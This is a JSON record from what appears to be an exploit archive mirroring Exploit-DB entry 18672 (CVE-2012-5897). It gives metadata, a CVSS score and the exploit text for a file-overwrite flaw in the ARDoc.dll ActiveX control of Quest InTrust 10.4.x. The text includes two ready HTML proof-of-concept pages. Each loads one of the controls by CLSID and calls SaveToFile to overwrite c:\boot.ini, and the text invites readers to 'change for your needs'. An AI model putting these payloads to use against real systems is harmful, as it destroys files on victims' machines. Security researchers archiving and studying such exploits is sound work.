{"exploit":{"id":"EDB-18672","name":"Quest InTrust 10.4.x - ReportTree / SimpleTree Classes","description":"Quest InTrust 10.4.x - ReportTree / SimpleTree Classes","cves":["CVE-2012-5897"],"author":"rgod","published":"2012-03-28","platform":"windows","type":"remote","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/18672","path":"exploits/windows/remote/18672.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-18672.txt","vulnerabilities":[{"id":"CVE-2012-5897","state":"PUBLISHED","title":null,"titleSource":null,"description":"The (1) SimpleTree and (2) ReportTree classes in the ARDoc ActiveX control (ARDoc.dll) in Quest InTrust 10.4.0.853 and earlier do not properly implement the SaveToFile method, which allows remote attackers to write or overwrite arbitrary files via the bstrFileName argument.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2012-5897","cvss":{"version":"2.0","baseScore":9.3,"severity":"high","vectorString":"AV:N/AC:M/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2012-5897"},"updatedAt":"2024-08-06T21:21:27.776Z","retrievedAt":"2026-11-27T15:21:34.127Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-18672.png?v=2","url":"https://exploitbin.com/exploits/EDB-18672","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-18672/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-18672/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"Quest InTrust 10.4.x ReportTree and SimpleTree Classes\nArDoc.dll ActiveX Control Remote File Creation / Overwrite\n\nhomepage: http://www.quest.com/intrust/\n\ndescription: \"InTrust securely collects, stores, reports and\nalerts on event log data from Windows, Unix and Linux systems,\nhelping you comply with external regulations, internal policies\nand security best practices.\"\n\n\ndownload url of a test version:\nhttp://www.quest.com/downloads/\n\nfile tested: Quest_InTrust---Full-Package_104.zip\n\nBackground:\n\nThe mentioned product, when installed, registers two classes\nwith the following settings:\n\nbinary path: C:\\Program Files\\Common Files\\Aelita Shared\\ARDoc.dll\nCLSID: {C6FAAD6A-68AE-452B-9F7A-9293408F51EF}\nProgID: ARDOC.ReportTree.1\nImplements IObjectSafety: yes\nSafe For Scripting (IObjectSafety): True\nSafe For Initialization (IObjectSafety): ?\n\nbinary path: C:\\Program Files\\Common Files\\Aelita Shared\\ARDoc.dll\nCLSID: {EB5920E8-F6FA-4080-ADDC-AA03FA23E2AB}\nProgID: ARDOC.SimpleTree.1\nImplements IObjectSafety: yes\nSafe For Scripting (IObjectSafety): True\nSafe For Initialization (IObjectSafety): ?\n\nAccording to IObjectSafety interface, this control is safe\nfor scripting then Internet Explorer will allow scripting\nof this control.\n\nVulnerability:\nboth classes expose insecure methods (read/write):\n\n\n...\n/* DISPID=34 */\n/* VT_BOOL [11] */\nfunction LoadFromFile(\n        /* VT_BSTR [8]  */ $bstrFileName\n        )\n{\n        /* method LoadFromFile */\n}\n/* DISPID=35 */\n/* VT_BOOL [11] */\nfunction SaveToFile(\n        /* VT_BSTR [8]  */ $bstrFileName\n        )\n{\n        /* method SaveToFile */\n}\n...\n\nSaveToFile() allows arbitrary file creation and overwrite.\n\nThe resulting file has the following header:\n\nD0 CF 11 E0 A1 B1 1A E1 00 00 00 00 ...\n\nThis seems a Microsoft Office file.\n\nAs attachment, two pocs, overwriting the boot.ini file. Change for your needs.\n\nOther attacks are possible, including remote code execution\nif the attacker is able to control file content.\nAt the time of report, however, this could not be achieved. I\nwill post updates on this if demonstrated.\n\n\n\n<!--\nQuest InTrust 10.4.x SimpleTree Class ActiveX Control Remote File Overwrite\n\nbinary path: C:\\Program Files\\Common Files\\Aelita Shared\\ARDoc.dll\nCLSID: {EB5920E8-F6FA-4080-ADDC-AA03FA23E2AB}\nProgID: ARDOC.SimpleTree.1\nImplements IObjectSafety: yes\nSafe For Scripting (IObjectSafety): True\nSafe For Initialization (IObjectSafety): ?\n-->\n<!-- saved from url=(0014)about:internet -->\n<html>\n<object classid='clsid:EB5920E8-F6FA-4080-ADDC-AA03FA23E2AB' id='obj' WIDTH=640 height=480 />\n</object>\n<script>\nobj.SaveToFile(\"c:\\\\boot.ini\");\n</script>\n\n\n<!--\nQuest InTrust 10.4.x ReportTree Class ActiveX Control Remote File Overwrite\n\nbinary path: C:\\Program Files\\Common Files\\Aelita Shared\\ARDoc.dll\nCLSID: {C6FAAD6A-68AE-452B-9F7A-9293408F51EF}\nProgID: ARDOC.ReportTree.1\nImplements IObjectSafety: yes\nSafe For Scripting (IObjectSafety): True\nSafe For Initialization (IObjectSafety): ?\n-->\n<!-- saved from url=(0014)about:internet -->\n<html>\n<object classid='clsid:C6FAAD6A-68AE-452B-9F7A-9293408F51EF' id='obj' />\n</object>\n<script>\nobj.SaveToFile(\"c:\\\\boot.ini\");\n</script>","sha256":"0bc6ab544e303b6f6c72b9d14f887e4685adf1cde71ffbd3c1a6380db46ac245","bytes":3163,"fetchedAt":"2026-11-27T15:10:25.321Z","encoding":"utf-8 (display only; download retains original bytes)"}